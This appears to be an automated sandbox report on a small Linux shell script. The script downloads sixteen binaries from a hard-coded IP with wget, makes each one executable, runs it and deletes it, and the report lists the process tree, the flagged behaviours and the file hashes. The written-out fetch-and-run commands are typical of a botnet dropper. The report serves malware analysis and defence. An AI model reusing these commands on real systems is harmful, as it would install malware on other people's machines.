Analysis

  • max time kernel
    144s
  • max time network
    146s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260126-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260126-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    12/05/2026, 15:02

General

  • Target
    WSW0.sh
  • Size 266B
  • Sample260512-seqf6sav3j
  • SHA256 a464fc665f3c380c70d724b8dd20fcfaec823a40dde38314ca845410891241c1
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 16 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 16 IoCs
  • OS Credential Dumping 1 TTPs 1 IoCs

    Adversaries may attempt to dump credentials to use it in password cracking.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/WSW0.sh
    /tmp/WSW0.sh
    1⤵
    • Executes dropped EXE
    PID:642
    • /bin/rm
      rm OOJP
      2⤵
        PID:644
      • /usr/bin/wget
        wget http://216.107.139.197/OOJP
        2⤵
        • Writes file to tmp directory
        PID:648
      • /bin/chmod
        chmod +x OOJP
        2⤵
        • File and Directory Permissions Modification
        PID:670
      • /tmp/OOJP
        ./OOJP
        2⤵
        • OS Credential Dumping
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:671
        • /usr/local/sbin/uname
          uname -a
          3⤵
            PID:675
          • /usr/local/bin/uname
            uname -a
            3⤵
              PID:675
            • /usr/sbin/uname
              uname -a
              3⤵
                PID:675
              • /usr/bin/uname
                uname -a
                3⤵
                  PID:675
                • /sbin/uname
                  uname -a
                  3⤵
                    PID:675
                  • /bin/uname
                    uname -a
                    3⤵
                      PID:675
                  • /bin/rm
                    rm WAVC
                    2⤵
                      PID:673
                    • /usr/bin/wget
                      wget http://216.107.139.197/WAVC
                      2⤵
                      • Writes file to tmp directory
                      PID:674
                    • /bin/chmod
                      chmod +x WAVC
                      2⤵
                      • File and Directory Permissions Modification
                      PID:676
                    • /tmp/WAVC
                      ./WAVC
                      2⤵
                        PID:677
                      • /bin/rm
                        rm XDLE
                        2⤵
                          PID:679
                        • /usr/bin/wget
                          wget http://216.107.139.197/XDLE
                          2⤵
                          • Writes file to tmp directory
                          PID:680
                        • /bin/chmod
                          chmod +x XDLE
                          2⤵
                          • File and Directory Permissions Modification
                          PID:695
                        • /tmp/XDLE
                          ./XDLE
                          2⤵
                            PID:696
                          • /bin/rm
                            rm VLIZ
                            2⤵
                              PID:699
                            • /usr/bin/wget
                              wget http://216.107.139.197/VLIZ
                              2⤵
                              • Writes file to tmp directory
                              PID:701
                            • /bin/chmod
                              chmod +x VLIZ
                              2⤵
                              • File and Directory Permissions Modification
                              PID:726
                            • /tmp/VLIZ
                              ./VLIZ
                              2⤵
                              • Writes file to tmp directory
                              PID:727
                            • /bin/rm
                              rm ZPFE
                              2⤵
                                PID:729
                              • /usr/bin/wget
                                wget http://216.107.139.197/ZPFE
                                2⤵
                                • Writes file to tmp directory
                                PID:731
                              • /bin/chmod
                                chmod +x ZPFE
                                2⤵
                                • File and Directory Permissions Modification
                                PID:736
                              • /tmp/ZPFE
                                ./ZPFE
                                2⤵
                                  PID:737
                                • /bin/rm
                                  rm FKLY
                                  2⤵
                                    PID:739
                                  • /usr/bin/wget
                                    wget http://216.107.139.197/FKLY
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:740
                                  • /bin/chmod
                                    chmod +x FKLY
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:744
                                  • /tmp/FKLY
                                    ./FKLY
                                    2⤵
                                      PID:746
                                    • /bin/rm
                                      rm TWED
                                      2⤵
                                        PID:748
                                      • /usr/bin/wget
                                        wget http://216.107.139.197/TWED
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:750
                                      • /bin/chmod
                                        chmod +x TWED
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:772
                                      • /tmp/TWED
                                        ./TWED
                                        2⤵
                                          PID:774
                                        • /bin/rm
                                          rm LFKQ
                                          2⤵
                                            PID:777
                                          • /usr/bin/wget
                                            wget http://216.107.139.197/LFKQ
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:778
                                          • /bin/chmod
                                            chmod +x LFKQ
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:781
                                          • /tmp/LFKQ
                                            ./LFKQ
                                            2⤵
                                              PID:782
                                            • /bin/rm
                                              rm QSKJ
                                              2⤵
                                                PID:784
                                              • /usr/bin/wget
                                                wget http://216.107.139.197/QSKJ
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:785
                                              • /bin/chmod
                                                chmod +x QSKJ
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:786
                                              • /tmp/QSKJ
                                                ./QSKJ
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:787
                                              • /bin/rm
                                                rm HPST
                                                2⤵
                                                  PID:789
                                                • /usr/bin/wget
                                                  wget http://216.107.139.197/HPST
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:790
                                                • /bin/chmod
                                                  chmod +x HPST
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:791
                                                • /tmp/HPST
                                                  ./HPST
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:792
                                                • /bin/rm
                                                  rm VDXA
                                                  2⤵
                                                    PID:794
                                                  • /usr/bin/wget
                                                    wget http://216.107.139.197/VDXA
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:795
                                                  • /bin/chmod
                                                    chmod +x VDXA
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:796
                                                  • /tmp/VDXA
                                                    ./VDXA
                                                    2⤵
                                                      PID:797
                                                    • /bin/rm
                                                      rm QMJL
                                                      2⤵
                                                        PID:799
                                                      • /usr/bin/wget
                                                        wget http://216.107.139.197/QMJL
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:800
                                                      • /bin/chmod
                                                        chmod +x QMJL
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:801
                                                      • /tmp/QMJL
                                                        ./QMJL
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:802
                                                      • /bin/rm
                                                        rm RWQE
                                                        2⤵
                                                          PID:804
                                                        • /usr/bin/wget
                                                          wget http://216.107.139.197/RWQE
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:805
                                                        • /bin/chmod
                                                          chmod +x RWQE
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:806
                                                        • /tmp/RWQE
                                                          ./RWQE
                                                          2⤵
                                                            PID:807
                                                          • /bin/rm
                                                            rm GQQI
                                                            2⤵
                                                              PID:809
                                                            • /usr/bin/wget
                                                              wget http://216.107.139.197/GQQI
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:810
                                                            • /bin/chmod
                                                              chmod +x GQQI
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:811
                                                            • /tmp/GQQI
                                                              ./GQQI
                                                              2⤵
                                                                PID:812
                                                              • /bin/rm
                                                                rm NZAP
                                                                2⤵
                                                                  PID:814
                                                                • /usr/bin/wget
                                                                  wget http://216.107.139.197/NZAP
                                                                  2⤵
                                                                  • Writes file to tmp directory
                                                                  PID:815
                                                                • /bin/chmod
                                                                  chmod +x NZAP
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:816
                                                                • /tmp/NZAP
                                                                  ./NZAP
                                                                  2⤵
                                                                    PID:817
                                                                  • /bin/rm
                                                                    rm UZTX
                                                                    2⤵
                                                                      PID:819
                                                                    • /usr/bin/wget
                                                                      wget http://216.107.139.197/UZTX
                                                                      2⤵
                                                                      • Writes file to tmp directory
                                                                      PID:820
                                                                    • /bin/chmod
                                                                      chmod +x UZTX
                                                                      2⤵
                                                                      • File and Directory Permissions Modification
                                                                      PID:821
                                                                    • /tmp/UZTX
                                                                      ./UZTX
                                                                      2⤵
                                                                      • Writes file to tmp directory
                                                                      PID:822
                                                                    • /bin/rm
                                                                      rm -rf OOJP
                                                                      2⤵
                                                                        PID:824
                                                                      • /bin/rm
                                                                        rm -rf WAVC
                                                                        2⤵
                                                                          PID:825
                                                                        • /bin/rm
                                                                          rm -rf XDLE
                                                                          2⤵
                                                                            PID:826
                                                                          • /bin/rm
                                                                            rm -rf VLIZ
                                                                            2⤵
                                                                              PID:827
                                                                            • /bin/rm
                                                                              rm -rf ZPFE
                                                                              2⤵
                                                                                PID:828
                                                                              • /bin/rm
                                                                                rm -rf FKLY
                                                                                2⤵
                                                                                  PID:829
                                                                                • /bin/rm
                                                                                  rm -rf TWED
                                                                                  2⤵
                                                                                    PID:830
                                                                                  • /bin/rm
                                                                                    rm -rf LFKQ
                                                                                    2⤵
                                                                                      PID:831
                                                                                    • /bin/rm
                                                                                      rm -rf QSKJ
                                                                                      2⤵
                                                                                        PID:832
                                                                                      • /bin/rm
                                                                                        rm -rf HPST
                                                                                        2⤵
                                                                                          PID:833
                                                                                        • /bin/rm
                                                                                          rm -rf VDXA
                                                                                          2⤵
                                                                                            PID:834
                                                                                          • /bin/rm
                                                                                            rm -rf QMJL
                                                                                            2⤵
                                                                                              PID:835
                                                                                            • /bin/rm
                                                                                              rm -rf RWQE
                                                                                              2⤵
                                                                                                PID:836
                                                                                              • /bin/rm
                                                                                                rm -rf GQQI
                                                                                                2⤵
                                                                                                  PID:837
                                                                                                • /bin/rm
                                                                                                  rm -rf NZAP
                                                                                                  2⤵
                                                                                                    PID:838
                                                                                                  • /bin/rm
                                                                                                    rm -rf UZTX
                                                                                                    2⤵
                                                                                                      PID:839
                                                                                                    • /bin/rm
                                                                                                      rm /tmp/WSW0.sh
                                                                                                      2⤵
                                                                                                        PID:840

                                                                                                    Network

                                                                                                          MITRE ATT&CK Enterprise v16

                                                                                                          Replay Monitor

                                                                                                          Loading Replay Monitor...

                                                                                                          Downloads

                                                                                                          .zwxGXIla

                                                                                                          • Path /tmp/.zwxGXIla
                                                                                                          • Size 18B
                                                                                                          • SHA256 accad524fd31bfa4f172c375d84cd6fcd73dd2b0f588e6319a99ef1afe1b01d9
                                                                                                          • MD5 SHA1 SHA512

                                                                                                          FKLY

                                                                                                          • Path /tmp/FKLY
                                                                                                          • Size 105KB
                                                                                                          • SHA256 f85ee1500347ab1ae9061973abf387be54a98ad1259f5265965d5b067c170923
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          GQQI

                                                                                                          • Path /tmp/GQQI
                                                                                                          • Size 193KB
                                                                                                          • SHA256 202d1e3eccffe6ac67e54882c0e070f8a4730d5e117ed52043e4ad294ec857db
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          HPST

                                                                                                          • Path /tmp/HPST
                                                                                                          • Size 125KB
                                                                                                          • SHA256 acbb357150d464f678cd23159fca36575c8039f82ef9f276ef298361f8415dd5
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          LFKQ

                                                                                                          • Path /tmp/LFKQ
                                                                                                          • Size 129KB
                                                                                                          • SHA256 5df36281969dcd0fefdc2f7bda8af95577826634311f5a82544002e7e7d4c0fd
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          NZAP

                                                                                                          • Path /tmp/NZAP
                                                                                                          • Size 125KB
                                                                                                          • SHA256 7524f7123eb049207efa4dac91e7d0a4726016d1a992a53468c54a4829658dbb
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          OOJP

                                                                                                          • Path /tmp/OOJP
                                                                                                          • Size 125KB
                                                                                                          • SHA256 6a9a2fd72c6dd58658f09a6743885605c77be428948c72d6a4539e3982e67418
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          QMJL

                                                                                                          • Path /tmp/QMJL
                                                                                                          • Size 121KB
                                                                                                          • SHA256 8de4542b0cfef62851ecb166feac5ff4b0f58951e83f0e914ffe7dae90e6fed5
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          QSKJ

                                                                                                          • Path /tmp/QSKJ
                                                                                                          • Size 86KB
                                                                                                          • SHA256 25756bd4d6028d9402d02e00f7ac00bf2b23c64e420efa4be01cd965c0594b9b
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          RWQE

                                                                                                          • Path /tmp/RWQE
                                                                                                          • Size 167KB
                                                                                                          • SHA256 60769cc0da4aadd603ade2a30ce4791595a43f9727e248a232ee7b6a1ae3fc44
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          TWED

                                                                                                          • Path /tmp/TWED
                                                                                                          • Size 154KB
                                                                                                          • SHA256 3dd83802e4a3c71b8a7a03cd7b065fbd7b9eec3ebae5e0c29d4fc09573409ed2
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          UZTX

                                                                                                          • Path /tmp/UZTX
                                                                                                          • Size 126KB
                                                                                                          • SHA256 b89e0bddab26ae722e8af161ab726eb7f25232f00b3cbdc0e6cad665513047df
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          VDXA

                                                                                                          • Path /tmp/VDXA
                                                                                                          • Size 193KB
                                                                                                          • SHA256 f89836639ef62ae6f317f834fab00e166ef668772b021e5e468969bd66aa4ef1
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          VLIZ

                                                                                                          • Path /tmp/VLIZ
                                                                                                          • Size 129KB
                                                                                                          • SHA256 1bea422550db39a211f644ad63eeb34bce2ae9a70b39d6c38d1b423203f619d4
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          WAVC

                                                                                                          • Path /tmp/WAVC
                                                                                                          • Size 200KB
                                                                                                          • SHA256 cd6ab1ae78b810d0840c64270a6506a753befecad64eace6c1101e2a2713574f
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          XDLE

                                                                                                          • Path /tmp/XDLE
                                                                                                          • Size 109KB
                                                                                                          • SHA256 fc43bc3a09d3d47a1fa0ed5559d8d98468c07e768daf9bf1f806984b342e4aa0
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          ZPFE

                                                                                                          • Path /tmp/ZPFE
                                                                                                          • Size 105KB
                                                                                                          • SHA256 d328a8df797e9a5c3c2f282b014f7cf538e141143a3054cdb542ca360d43b624
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH